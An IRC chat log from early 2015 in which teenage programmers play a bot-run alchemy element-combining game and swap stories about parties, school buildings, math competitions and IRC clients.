[2015-01-01T22:55:41-0500] <+JacobEdelman> LittleBobbyTables: you were?
[2015-01-01T22:56:22-0500] <+JacobEdelman> also
[2015-01-01T22:56:25-0500] <+JacobEdelman> question of the day:
[2015-01-01T22:56:32-0500] <+JacobEdelman> where'd you hide the body?
[2015-01-01T22:56:39-0500] <+JacobEdelman> 5 points for the best answer
[2015-01-01T23:03:07-0500] <alokpathy> One of the elements in alchemy.
[2015-01-01T23:05:02-0500] <+JacobEdelman> ... I bet you hid it in alokmini
[2015-01-01T23:06:31-0500] <alokpathy> I'm not saying anything.
[2015-01-01T23:07:13-0500] <+hardmath123> JacobEdelman: publish lark on npm
[2015-01-01T23:07:28-0500] <+JacobEdelman> not yet
[2015-01-01T23:07:32-0500] <+JacobEdelman> not until its usable
[2015-01-01T23:08:32-0500] <+hardmath123> JacobEdelman: but I want to try it
[2015-01-01T23:08:50-0500] <+JacobEdelman> ... no, you really don't
[2015-01-01T23:08:53-0500] <+JacobEdelman> give me a few more days
[2015-01-01T23:09:19-0500] <+JacobEdelman> by monday
[2015-01-01T23:09:21-0500] <+hardmath123> :P
[2015-01-01T23:09:25-0500] <+JacobEdelman> there will be a workable release
[2015-01-01T23:20:10-0500] <Tamini_> hardmath123: why is time hard
[2015-01-01T23:20:14-0500] <Tamini_> did you typo again :P
[2015-01-01T23:20:18-0500] <Tamini_> @list
[2015-01-01T23:20:19-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T23:20:19-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T23:20:19-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T23:20:19-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
[2015-01-01T23:20:19-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T23:20:19-0500] <alchemy> That's 96 out of 136!
[2015-01-01T23:20:30-0500] <bob_twinkles> @help
[2015-01-01T23:20:31-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2015-01-01T23:20:31-0500] <alchemy> To list your elements: `@list`
[2015-01-01T23:20:31-0500] <alchemy> Also try `@encourage`, `@possible`, and `@hint`.
[2015-01-01T23:20:36-0500] <alokpathy> @hint
[2015-01-01T23:20:37-0500] <alchemy> No can do, buddy.
[2015-01-01T23:20:39-0500] <alokpathy> @hint
[2015-01-01T23:20:40-0500] <alchemy> Not on your life.
[2015-01-01T23:20:41-0500] <alokpathy> @hint
[2015-01-01T23:20:41-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-01T23:20:42-0500] <alokpathy> @hint
[2015-01-01T23:20:42-0500] <alchemy> Hint: It's possible to make mutant with gmo!
[2015-01-01T23:20:42-0500] <alokpathy> @hint
[2015-01-01T23:20:43-0500] <alchemy> Nope.
[2015-01-01T23:20:45-0500] <Tamini_> @combine energy air
[2015-01-01T23:20:45-0500] <alokpathy> Oh, hm
[2015-01-01T23:20:45-0500] <alchemy> You already combined energy and air to get wind.
[2015-01-01T23:20:45-0500] <+hardmath123> Tamini_: lemme check if it's a typo
[2015-01-01T23:20:46-0500] <bob_twinkles> you should add @ingredients
[2015-01-01T23:20:49-0500] <Tamini_> @hint
[2015-01-01T23:20:50-0500] <alokpathy> @combine gmo man
[2015-01-01T23:20:50-0500] <alchemy> Hint: It's possible to make treebeard with sentience!
[2015-01-01T23:20:51-0500] <alchemy> You just discovered mutant (gmo + man)!
[2015-01-01T23:20:52-0500] <bob_twinkles> so I don't have to grep logs =P
[2015-01-01T23:20:54-0500] <Tamini_> oh yay
[2015-01-01T23:20:55-0500] <alokpathy> woo
[2015-01-01T23:21:09-0500] <alokpathy> @combine sentience tree
[2015-01-01T23:21:10-0500] <alchemy> sentience and tree don't make anything exciting.
[2015-01-01T23:21:16-0500] <alokpathy> @possible beard
[2015-01-01T23:21:16-0500] <+hardmath123> Tamini_: not a typo.
[2015-01-01T23:21:16-0500] <alchemy> No, you can't make beard.
[2015-01-01T23:21:17-0500] <Tamini_> @combine tree metal
[2015-01-01T23:21:18-0500] <alchemy> tree and metal don't make anything exciting.
[2015-01-01T23:21:21-0500] <Tamini_> @combine wood metal
[2015-01-01T23:21:22-0500] <alchemy> wood and metal don't make anything exciting.
[2015-01-01T23:21:27-0500] <Tamini_> @combine metal sword
[2015-01-01T23:21:27-0500] <alchemy> metal and sword don't make anything exciting.
[2015-01-01T23:21:33-0500] <Tamini_> how does one make axe :(
[2015-01-01T23:21:41-0500] <Tamini_> axe/knuth/time pls
[2015-01-01T23:21:51-0500] <bob_twinkles> @combine man computer
[2015-01-01T23:21:52-0500] <alchemy> man and computer don't make anything exciting.
[2015-01-01T23:21:53-0500] <alokpathy> Can we make axe or knuth with what we have?
[2015-01-01T23:21:55-0500] <bob_twinkles> myeh
[2015-01-01T23:22:00-0500] <bob_twinkles> @possible axe
[2015-01-01T23:22:01-0500] <alchemy> Yeah, you can make axe.
[2015-01-01T23:22:11-0500] <Tamini_> hardmath123: pls
[2015-01-01T23:22:18-0500] <Tamini_> bob_twinkles: did you get the picture of the dogpile
[2015-01-01T23:22:23-0500] <Tamini_> from last night
[2015-01-01T23:22:28-0500] <bob_twinkles> yeah
[2015-01-01T23:22:31-0500] <Tamini_> :P
[2015-01-01T23:22:37-0500] <Tamini_> opinion?
[2015-01-01T23:22:44-0500] <Tamini_> also everyone was heavy -_____-
[2015-01-01T23:22:54-0500] <alokpathy> "heavy"?
[2015-01-01T23:22:55-0500] <bob_twinkles> I'd prefer to have been in it =(
[2015-01-01T23:22:59-0500] <Tamini_> :<
[2015-01-01T23:23:03-0500] <Tamini_> you shouldve come
[2015-01-01T23:23:07-0500] <bob_twinkles> couldn't
[2015-01-01T23:23:08-0500] <Tamini_> alokpathy: giant pile of people
[2015-01-01T23:23:13-0500] <Tamini_> i was near the bottom
[2015-01-01T23:23:14-0500] <Tamini_> :<
[2015-01-01T23:23:16-0500] <alokpathy> heheheh
[2015-01-01T23:23:21-0500] <Tamini_> bob_twinkles: we missed you :(
[2015-01-01T23:23:22-0500] <+hardmath123> ummm
[2015-01-01T23:23:23-0500] <bob_twinkles> with #realfam in Middle Of Fucking Nowhere, Maryland
[2015-01-01T23:23:28-0500] <alokpathy> Wait is :< a sad face or an angry face without the mouth?
[2015-01-01T23:23:34-0500] <Tamini_> i spent most of the night being antisocial with robert
[2015-01-01T23:23:39-0500] <Tamini_> alokpathy: sad
[2015-01-01T23:23:50-0500] <jwoglom> bob_twinkles: we played manhunt near the end for like 30 minutes
[2015-01-01T23:23:52-0500] <alokpathy> Wow I've been interpreting it wrong this entire time LOL
[2015-01-01T23:23:55-0500] <Tamini_> LOL
[2015-01-01T23:23:57-0500] <bob_twinkles> 'daw, I coulda talked computation theory with you
[2015-01-01T23:23:59-0500] <jwoglom> was like 10 minutes of actual playing and then 20 minutes of 3 people trying to catch fox
[2015-01-01T23:24:09-0500] <Tamini_> i wouldve liked that :<
[2015-01-01T23:24:15-0500] <Tamini_> robert and i were like
[2015-01-01T23:24:30-0500] <Tamini_> "we could run around in twenty degree weather or we could stand next to a fire"
[2015-01-01T23:24:38-0500] <Tamini_> we chose option 2
[2015-01-01T23:24:40-0500] <jwoglom> Tamini_: tbh i think you chose the better option :P
[2015-01-01T23:25:28-0500] <+JacobEdelman> manhunt is fun
[2015-01-01T23:25:32-0500] <+JacobEdelman> but resistance is funner
[2015-01-01T23:25:41-0500] <alokpathy> JacobEdelman: I feel nostalgic about Berger's graduation party.
[2015-01-01T23:25:43-0500] <alokpathy> We did both.
[2015-01-01T23:25:47-0500] <+JacobEdelman> yes
[2015-01-01T23:25:51-0500] <+JacobEdelman> that was funnerer
[2015-01-01T23:25:51-0500] <alokpathy> That was my first Resistance game actually.
[2015-01-01T23:26:05-0500] <+JacobEdelman> yes, it was resistance, man hunt, and mario kart
[2015-01-01T23:26:08-0500] <+JacobEdelman> best night ever
[2015-01-01T23:26:16-0500] <alokpathy> Along with the last day of HSCTF.
[2015-01-01T23:26:31-0500] <+JacobEdelman> yes
[2015-01-01T23:26:43-0500] <+JacobEdelman> and a bunch of other days now that I think about it
[2015-01-01T23:26:44-0500] <Tamini_> heh
[2015-01-01T23:26:50-0500] <alokpathy> Especially those two.
[2015-01-01T23:26:51-0500] <Tamini_> wait, where's awe?
[2015-01-01T23:26:56-0500] <Tamini_> i have a question for him
[2015-01-01T23:27:07-0500] <alokpathy> Florida.
[2015-01-01T23:27:10-0500] <alokpathy> That's about all I know.
[2015-01-01T23:27:28-0500] <alokpathy> Unless he drove out of Florida for whatever reason.
[2015-01-01T23:28:03-0500] <+JacobEdelman> I think he told me what town he was in a bit ago
[2015-01-01T23:28:13-0500] <+JacobEdelman> you can look through the irc logs to find it
[2015-01-01T23:28:21-0500] <Tamini_> i just need him on irc
[2015-01-01T23:28:26-0500] <+JacobEdelman> with some recon I bet you can find his home address (its his parents place)
[2015-01-01T23:28:30-0500] <+JacobEdelman> just visit him there
[2015-01-01T23:28:35-0500] <+JacobEdelman> its bound to get his attentin
[2015-01-01T23:29:47-0500] <Tamini_> bob_twinkles: when are you getting home?
[2015-01-01T23:29:53-0500] • bob_twinkles: shrugs
[2015-01-01T23:30:04-0500] <bob_twinkles> maybe possibly some time tomorrow
[2015-01-01T23:30:06-0500] <bob_twinkles> but no1know
[2015-01-01T23:30:35-0500] <Tamini_> o
[2015-01-01T23:30:40-0500] <Tamini_> so you arent doing the metro thing
[2015-01-01T23:30:44-0500] <bob_twinkles> nope =(
[2015-01-01T23:32:09-0500] <Tamini_> daww :(
[2015-01-01T23:32:12-0500] <Tamini_> its ok
[2015-01-01T23:32:22-0500] <Tamini_> also i bought myself a quantum book in ny
[2015-01-01T23:32:29-0500] <Tamini_> i might start actually passing this class now :P
[2015-01-01T23:32:30-0500] <alokpathy> woo
[2015-01-01T23:32:57-0500] <Tamini_> also okay
[2015-01-01T23:33:06-0500] <Tamini_> the average height of my school's sysadmins is
[2015-01-01T23:33:09-0500] <Tamini_> very tall
[2015-01-01T23:33:17-0500] <Tamini_> i didnt realize this until recently
[2015-01-01T23:33:29-0500] <Tamini_> also bob_twinkles: where did they send you the picture? i never saw it
[2015-01-01T23:33:34-0500] <alokpathy> Tamini_: How tall?>
[2015-01-01T23:33:44-0500] <jwoglom> Tamini_: it's in fightclub
[2015-01-01T23:33:51-0500] <bob_twinkles> topic ^
[2015-01-01T23:33:56-0500] <Tamini_> o ok
[2015-01-01T23:33:58-0500] <Tamini_> alsoooo
[2015-01-01T23:34:10-0500] <Tamini_> bob_twinkles: pfoley told me about your uh "scripts"
[2015-01-01T23:34:13-0500] <bob_twinkles> alokpathy: most of us are like.. 5' 8"+
[2015-01-01T23:34:15-0500] <bob_twinkles> lol
[2015-01-01T23:34:16-0500] <Tamini_> care to share? ;)
[2015-01-01T23:34:23-0500] <bob_twinkles> I'm pretty sure I'll never live that down
[2015-01-01T23:34:30-0500] <jwoglom> we've discussed those before..lol
[2015-01-01T23:34:36-0500] <alokpathy> bob_twinkles: Oh dang that's a tall average.
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[2015-01-01T23:34:48-0500] <Tamini_> hehe
[2015-01-01T23:34:51-0500] <bob_twinkles> if you've got truecrypt lying around somewhere
[2015-01-01T23:34:51-0500] <Tamini_> didnt claudia like
[2015-01-01T23:34:56-0500] <Tamini_> break up with you for that
[2015-01-01T23:34:58-0500] <Tamini_> :P
[2015-01-01T23:35:09-0500] <bob_twinkles> I accidentally my gentoo partition and it's not in the arch repos
[2015-01-01T23:35:15-0500] <Tamini_> LOL
[2015-01-01T23:35:20-0500] <Tamini_> aw
[2015-01-01T23:35:35-0500] <Tamini_> also jesus christ there are at least 3 guys directly on me on that picture
[2015-01-01T23:36:01-0500] <@awe> [23:26:51]  <Tamini_>	wait, where's awe?
[2015-01-01T23:36:03-0500] <@awe> Tamini_: what's up?
[2015-01-01T23:36:14-0500] <bob_twinkles> she's using doublethink to avoid the issue I believe
[2015-01-01T23:36:17-0500] <bob_twinkles> wait
[2015-01-01T23:36:19-0500] <bob_twinkles> IRC is hard
[2015-01-01T23:36:21-0500] <Tamini_> i pm'd you
[2015-01-01T23:36:29-0500] <bob_twinkles> laudiacay is, not Tamini_ 
[2015-01-01T23:39:15-0500] <Tamini_> lol
[2015-01-01T23:39:17-0500] <Tamini_> oh god
[2015-01-01T23:39:26-0500] <Tamini_> we were playing cah with her last night
[2015-01-01T23:39:36-0500] <jwoglom> "i'm not saying that word!"
[2015-01-01T23:44:20-0500] <bob_twinkles> I have the utmost sympathy for you
[2015-01-01T23:45:46-0500] <Tamini_> use that sympathy for s0lder
[2015-01-01T23:45:58-0500] <Tamini_> alokpathy: why cant we be good alchemists man :(
[2015-01-01T23:46:19-0500] <alokpathy> Tamini_: Chemistry has soiled our brains.
[2015-01-01T23:48:31-0500] <Tamini_> alokpathy: how can we fix this
[2015-01-01T23:49:29-0500] <+hardmath123> Tamini_: It makes me sad that I somehow managed to elicit an emotional connection from you by writing code. :P
[2015-01-01T23:49:46-0500] <Tamini_> hardmath123: LOL
[2015-01-01T23:49:48-0500] <Tamini_> sad?
[2015-01-01T23:49:51-0500] <alokpathy> LOL
[2015-01-01T23:49:52-0500] <Tamini_> you should be happy
[2015-01-01T23:50:08-0500] <Tamini_> this means that extending this logic, you'll eventually be able to seduce girls with code
[2015-01-01T23:50:36-0500] <alokpathy> Dayum.
[2015-01-01T23:50:40-0500] <alokpathy> I should try that.
[2015-01-01T23:51:15-0500] <+hardmath123> Tamini_: I don't see that happening. :P
[2015-01-01T23:51:27-0500] <Tamini_> aww why not?
[2015-01-01T23:51:31-0500] <Tamini_> it works sometimes
[2015-01-01T23:51:34-0500] <Tamini_> ive seen it work
[2015-01-01T23:51:42-0500] <alokpathy> Wait when?
[2015-01-01T23:51:45-0500] <alokpathy> How?
[2015-01-01T23:51:49-0500] <Tamini_> alokpathy: you helped me
[2015-01-01T23:51:51-0500] <Tamini_> write it
[2015-01-01T23:51:54-0500] <Tamini_> -____-
[2015-01-01T23:52:03-0500] <alokpathy> Oh that time
[2015-01-01T23:52:03-0500] <alokpathy> LOL
[2015-01-01T23:52:07-0500] <Tamini_> seducing people with code
[2015-01-01T23:52:10-0500] <Tamini_> LOL YOU FORGOT
[2015-01-01T23:52:14-0500] <alokpathy> NO I REMEMBERED
[2015-01-01T23:52:26-0500] <alokpathy> I thought you meant like
[2015-01-01T23:52:31-0500] • hardmath123: doesn't want to know...
[2015-01-01T23:52:33-0500] <alokpathy> [writes code to do something]
[2015-01-01T23:52:35-0500] <alokpathy> [gives code]
[2015-01-01T23:52:42-0500] <alokpathy> instead of like
[2015-01-01T23:52:44-0500] <alokpathy> [writes problem]
[2015-01-01T23:52:48-0500] <alokpathy> [asks person to code it]
[2015-01-01T23:53:00-0500] <alokpathy> unless I had a gross misunderstanding of what you did.
[2015-01-01T23:54:28-0500] <Tamini_> well its like
[2015-01-01T23:54:29-0500] <Tamini_> related
[2015-01-01T23:54:42-0500] <Tamini_> hardmath123: i asked a guy on a date with a usaco-style problem before, nbd
[2015-01-01T23:54:50-0500] <Tamini_> (then he criticized it)
[2015-01-01T23:54:58-0500] <alokpathy> Tamini_: Wait how?
[2015-01-01T23:54:59-0500] <alokpathy> :|
[2015-01-01T23:55:19-0500] <Tamini_> "this isnt typically how graph inputs are given"
[2015-01-01T23:55:25-0500] <Tamini_> "you have a typo"
[2015-01-01T23:55:37-0500] <+hardmath123> Tamini_: I would totally go out with someone who sent me code to ask me out.
[2015-01-01T23:55:37-0500] <Tamini_> "i think your code threw an obo"
[2015-01-01T23:55:46-0500] <alokpathy> LOL
[2015-01-01T23:55:51-0500] <Tamini_> i was like "if you criticize one more thing i'll find someone less picky to ask"
[2015-01-01T23:55:56-0500] <alokpathy> Wait what was the input?
[2015-01-01T23:56:01-0500] <Tamini_> hardmath123: that's the spirit! :P
[2015-01-01T23:56:05-0500] <Tamini_> uh so basically
[2015-01-01T23:56:07-0500] <Tamini_> i like
[2015-01-01T23:56:12-0500] <+hardmath123> the word obo makes a little part of me cry every time i hear it after pico
[2015-01-01T23:56:29-0500] <Tamini_> asked him for the units digit of the answer
[2015-01-01T23:56:31-0500] <Tamini_> to check
[2015-01-01T23:56:41-0500] <Tamini_> because the goal was to meet up with him
[2015-01-01T23:56:51-0500] <Tamini_> but then we ended up being off by one
[2015-01-01T23:56:54-0500] <Tamini_> FUNNY PART:
[2015-01-01T23:57:03-0500] <Tamini_> classrooms 131 and 132 are in different hallways
[2015-01-01T23:57:13-0500] <Tamini_> that was really embarrassing >___>
[2015-01-01T23:57:28-0500] <jwoglom> another fun fact is that neither classroom exists anymore
[2015-01-01T23:57:36-0500] <alokpathy> lolwut
[2015-01-01T23:57:44-0500] <alokpathy> "Let's meet up in the room that doesn't exist."
[2015-01-01T23:57:52-0500] <jwoglom> alokpathy: now they no longer exist
[2015-01-01T23:57:56-0500] <jwoglom> because renovation
[2015-01-01T23:58:05-0500] <alokpathy> Oh yeah
[2015-01-01T23:58:12-0500] <alokpathy> TJ became brand spankin' new
[2015-01-01T23:58:19-0500] <jwoglom> one has been completely demolished and the other is some staging room or something
[2015-01-01T23:58:42-0500] <Tamini_> lol
[2015-01-01T23:59:01-0500] <Tamini_> but tbh like
[2015-01-01T23:59:02-0500] <alokpathy> Wait when was TJ last renovated?
[2015-01-01T23:59:04-0500] <alokpathy> Like, before that.
[2015-01-01T23:59:10-0500] <Tamini_> 2/10 would not do again
[2015-01-01T23:59:11-0500] <Tamini_> and uhh
[2015-01-01T23:59:15-0500] <Tamini_> when it was built
[2015-01-01T23:59:17-0500] <Tamini_> yeah.
[2015-01-01T23:59:20-0500] <alokpathy> Which was when?
[2015-01-01T23:59:24-0500] <jwoglom> alokpathy: it had a minor renovation in the late 1980s when it was converted from a regular HS to a sci/tech one
[2015-01-01T23:59:35-0500] <jwoglom> but besides that, none
[2015-01-01T23:59:38-0500] <alokpathy> Oh okay
[2015-01-01T23:59:43-0500] <alokpathy> Interesting.
[2015-01-01T23:59:48-0500] <alokpathy> Lol WWP South has no walls.
[2015-01-01T23:59:57-0500] <jwoglom> also, this isn't really a renovation at all. they're just demolishing the building in sections and building anew, and then connecting them all
[2015-01-02T00:00:03-0500] <+hardmath123> That would never work at our school.
[2015-01-02T00:00:06-0500] <+hardmath123> I keep getting lost.
[2015-01-02T00:00:07-0500] <Tamini_> how come?
[2015-01-02T00:00:17-0500] <+hardmath123> It's big.
[2015-01-02T00:00:30-0500] <+hardmath123> I mean, not mind-bogglingly big, but big enough for me to get lost in.
[2015-01-02T00:00:41-0500] <+hardmath123> (I get lost on the way to the kitchen, so I'm not a good yardstick here.)
[2015-01-02T00:01:06-0500] <alokpathy> Well, you're a sophomore.
[2015-01-02T00:01:58-0500] <+hardmath123> I'm the sophomore who showed up in a Bio 1 class first day of sophomore year and realized it wasn't chemistry a minute before the bell.
[2015-01-02T00:02:24-0500] <Tamini_> lol
[2015-01-02T00:02:29-0500] <Tamini_> i get lost at my school too!
[2015-01-02T00:02:37-0500] <+hardmath123> Also the sophomore who is obsessed with finding a way to climb the reeaaaally tall spiral staircase in our theater to get to the rafters.
[2015-01-02T00:02:40-0500] <Tamini_> i actually made a lot of good friends because
[2015-01-02T00:02:52-0500] <Tamini_> i insist on walking to class with other people
[2015-01-02T00:03:03-0500] <+hardmath123> that's a good strategy
[2015-01-02T00:03:05-0500] • hardmath123: takes notes
[2015-01-02T00:03:06-0500] <Tamini_> initially it was just because i couldnt get to classes by myself .___.
[2015-01-02T00:03:09-0500] <jwoglom> Tamini_: TJ isn't *that* large :P
[2015-01-02T00:03:20-0500] <Tamini_> jwoglom: you have no idea how bad i am at directions
[2015-01-02T00:03:30-0500] <Tamini_> hardmath123: at arml freshman year
[2015-01-02T00:03:32-0500] <jwoglom> until like the end of last year i always got confused by the numbering of rooms in all the hallways tho
[2015-01-02T00:03:34-0500] <alokpathy> hardmath123: You have a spiral staircase? o.o
[2015-01-02T00:03:40-0500] <Tamini_> i got so lost
[2015-01-02T00:03:52-0500] <jwoglom> of course I start remembering where things are when they remove the physics and techlab hallways...
[2015-01-02T00:03:55-0500] <Tamini_> i had a random mopper give us directions to a restaurant
[2015-01-02T00:04:11-0500] <+hardmath123> alokpathy: in the theater, yes. I tried to climb it but this girl showed up and was like "*ahem* there's a sign that says "do not climb, could be hazardous""
[2015-01-02T00:04:13-0500] <Tamini_> then we couldnt find our way back so we had to call our captain and cry
[2015-01-02T00:04:27-0500] <Tamini_> alokpathy: this is the story of how i first met mkural
[2015-01-02T00:04:46-0500] <alokpathy> hardmath123: lol oops xD
[2015-01-02T00:04:56-0500] <alokpathy> Tamini_: Is that guy a troll? I feel like he is.
[2015-01-02T00:04:56-0500] <+hardmath123> Tamini_: ARML freshman year i got lost in UNLV at noon without a water bottle. Roamed for 2 hours, finally got to the dorms, then decided that I needed a drink and left for Starbucks and got lost again. Not my finest hour.
[2015-01-02T00:05:15-0500] <Tamini_> alokpathy: how come? he is god of geo >.<
[2015-01-02T00:05:25-0500] <Tamini_> hardmath123: realize we go to different armls :P
[2015-01-02T00:05:37-0500] <Tamini_> but another arml story:
[2015-01-02T00:05:50-0500] <Tamini_> last arml my boyfriend and i were walking around the quad
[2015-01-02T00:05:57-0500] <Tamini_> until 5 minutes before doors locked
[2015-01-02T00:06:15-0500] <Tamini_> i got lost even though my dorm is right next to the quad
[2015-01-02T00:06:20-0500] <Tamini_> ran around panicking
[2015-01-02T00:06:27-0500] <Tamini_> then had a stranger show me the way
[2015-01-02T00:06:48-0500] <Tamini_> and hardmath123 lol lost twice
[2015-01-02T00:06:50-0500] <alokpathy> Tamini_: odeng
[2015-01-02T00:08:22-0500] <Tamini_> alokpathy: duuude arml is always so hard for me
[2015-01-02T00:08:28-0500] <Tamini_> everything is so far awpart
[2015-01-02T00:09:21-0500] <alokpathy> Tamini_: I wouldn't know :P
[2015-01-02T00:13:09-0500] <+hardmath123> So I just checked my 7-year-old Club Penguin account, and my puffle is still alive. <3 Little red guy named "Jet".
[2015-01-02T00:13:28-0500] <jwoglom> lol you remembered a password for an account you made 7 years ago?
[2015-01-02T00:14:07-0500] <+Tamini> aww
[2015-01-02T00:14:28-0500] <+Tamini> well i'm assuming it's a password he still uses
[2015-01-02T00:14:40-0500] <+Tamini> and since it's from 7 years ago it's fairly week
[2015-01-02T00:14:42-0500] <+Tamini> weak*
[2015-01-02T00:14:43-0500] <+hardmath123> Tamini_: i'm slightly smarter than that
[2015-01-02T00:14:46-0500] <+Tamini> so we could hack him really easily
[2015-01-02T00:14:49-0500] <+Tamini> heh, joking :P
[2015-01-02T00:14:52-0500] <+hardmath123> Tamini_: jwoglom autofill saves the day again
[2015-01-02T00:15:03-0500] <+hardmath123> it was my second elementary school's name, fwiw
[2015-01-02T00:16:13-0500] <+Tamini> lol
[2015-01-02T00:16:21-0500] <+Tamini> brb doxxing then hacking clubpenguin account
[2015-01-02T00:16:57-0500] <+hardmath123> ...
[2015-01-02T00:17:05-0500] <+hardmath123> you don't even know the penguin's name
[2015-01-02T00:17:23-0500] <+Tamini> true
[2015-01-02T00:17:28-0500] <+Tamini> darn
[2015-01-02T00:20:16-0500] <+Tamini> alokpathy:
[2015-01-02T00:20:21-0500] <+Tamini> do you remember the guy that gave the
[2015-01-02T00:20:25-0500] <+Tamini> really cool social networking talk
[2015-01-02T00:20:56-0500] <alokpathy> Jon Kleinberg?
[2015-01-02T00:21:04-0500] <alokpathy> Graph of the internet?
[2015-01-02T00:22:03-0500] <+Tamini> YES
[2015-01-02T00:22:04-0500] <+Tamini> uh
[2015-01-02T00:22:09-0500] <+Tamini> what was the most successful algorithm called again
[2015-01-02T00:22:14-0500] <+Tamini> the degree of difference thing
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[2015-01-02T00:25:30-0500] <+Tamini> hey hey hey
[2015-01-02T00:25:31-0500] <alokpathy> I don't remember .-.
[2015-01-02T00:25:32-0500] <+Tamini> alokpathy, 
[2015-01-02T00:25:35-0500] <alokpathy> ?
[2015-01-02T00:25:37-0500] <+Tamini> guess what i found on the interwebs
[2015-01-02T00:25:41-0500] <+Tamini> https://video.ias.edu/computationconference/2014/1122-JonKleinberg
[2015-01-02T00:25:44-0500] <alokpathy> :o
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[2015-01-02T00:28:34-0500] <+hardmath123> irssi died for the second time tonight.
[2015-01-02T00:28:34-0500] <+hardmath123> L/
[2015-01-02T00:29:35-0500] <+Tamini> aww
[2015-01-02T00:29:37-0500] <+Tamini> s'ok
[2015-01-02T00:33:30-0500] <alokpathy> hardmath123: We're here for you in your time of need.
[2015-01-02T00:33:58-0500] <jwoglom> hardmath123: use weechat!111!11
[2015-01-02T01:03:06-0500] <+hardmath123> jwoglom: I used to use weechat, but it's not on my ssh server.
[2015-01-02T01:03:14-0500] <+hardmath123> jwoglom: though i guess i can change that
[2015-01-02T01:03:31-0500] <+hardmath123> alokpathy, Tamini: Thank you for your support. <3
[2015-01-02T01:03:31-0500] <jwoglom> hardmath123: ah. i like weechat, better than irssi imo
[2015-01-02T01:03:38-0500] <jwoglom> although i never really used irssi for that long
[2015-01-02T01:03:41-0500] <+hardmath123> Yeah, it seems more robust for some reason.
[2015-01-02T01:03:55-0500] <jwoglom> the relaying abilities are really useful
[2015-01-02T01:03:58-0500] <alokpathy> hardmath123: Anything for a pdgnhomie :')
[2015-01-02T01:03:59-0500] <jwoglom> there's a great android app
[2015-01-02T01:04:55-0500] <+Tamini> hardmath123: you know im here for you <3
[2015-01-02T01:05:11-0500] <+Tamini> also im getting addicted to duolingo
[2015-01-02T01:05:19-0500] <+Tamini> im sure its one of the better things to get addicted to but lol
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[2015-01-02T01:58:49-0500] <+LittleBobbyTables> Why you gotta get addicted to something that can teach you shit?
[2015-01-02T02:03:27-0500] <+Tamini> ^
[2015-01-02T02:07:09-0500] <+hardmath123> my head's growing heavy and my sight's growing dim--i'm going to go to sleep. Good night, internet.
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[2015-01-02T02:14:36-0500] <Pharyngeal> use znc
[2015-01-02T02:17:29-0500] <+Tamini> yeah, you could ask awe
[2015-01-02T03:18:52-0500] <+LittleBobbyTables> Don't you just love it when you win a game of dota by yourself
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[2015-01-02T08:55:10-0500] <The_Master> @list
[2015-01-02T08:55:11-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T08:55:11-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T08:55:11-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T08:55:11-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T08:55:11-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T08:55:11-0500] <alchemy> That's 97 out of 136!
[2015-01-02T09:00:12-0500] <+LittleBobbyTables> why isn't there an lbt
[2015-01-02T09:00:32-0500] <The_Master> @possible lbt
[2015-01-02T09:00:33-0500] <alchemy> No, you can't make lbt.
[2015-01-02T09:00:40-0500] <The_Master> @possible LittleBobbyTables
[2015-01-02T09:00:41-0500] <alchemy> No, you can't make LittleBobbyTables.
[2015-01-02T09:01:56-0500] <+LittleBobbyTables> :(
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[2015-01-02T09:15:21-0500] <+JacobEdelman> gmorning
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[2015-01-02T10:55:51-0500] <+JacobEdelman> major lark update out
[2015-01-02T10:56:00-0500] <+JacobEdelman> addition is now supported :)
[2015-01-02T11:08:29-0500] <alokpathy> @listr
[2015-01-02T11:08:31-0500] <alokpathy> @list
[2015-01-02T11:08:31-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T11:08:31-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T11:08:31-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T11:08:31-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T11:08:31-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T11:08:31-0500] <alchemy> That's 97 out of 136!
[2015-01-02T11:08:47-0500] <alokpathy> Still no time.
[2015-01-02T11:08:51-0500] <The_Master> @combing man man
[2015-01-02T11:08:55-0500] <alokpathy> @hint
[2015-01-02T11:08:55-0500] <alchemy> Hint: It's possible to make science with energy!
[2015-01-02T11:08:57-0500] <alokpathy> @hint
[2015-01-02T11:08:58-0500] <alchemy> Nope.
